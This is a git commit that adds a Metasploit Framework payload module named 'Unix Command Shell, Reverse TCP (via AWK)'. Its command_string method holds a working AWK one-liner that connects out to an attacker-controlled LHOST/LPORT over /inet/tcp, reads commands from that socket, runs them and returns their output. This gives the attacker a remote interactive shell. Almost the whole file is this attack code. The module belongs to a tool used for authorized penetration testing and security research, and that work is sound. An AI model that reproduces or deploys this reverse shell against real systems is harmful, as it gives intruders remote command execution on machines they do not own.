Creates an interactive shell via AWK (reverse)

unstable
Roberto Soares Espreto 2013-05-29 21:19:08 -03:00
parent 3d5eb24a33
commit d4a864c29f
1 changed files with 56 additions and 0 deletions

View File

@ -0,0 +1,56 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',
'Description' => 'Creates an interactive shell via AWK',
'Author' =>
[
'espreto <robertoespreto[at]gmail.com>',
'Ulisses Castro <uss.thebug[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'awk',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";while(1){printf \"shell> \"|& s;s|&getline c;if(c){while((c|& getline)>0){print $0|& s}close(c);}}}'"
end
end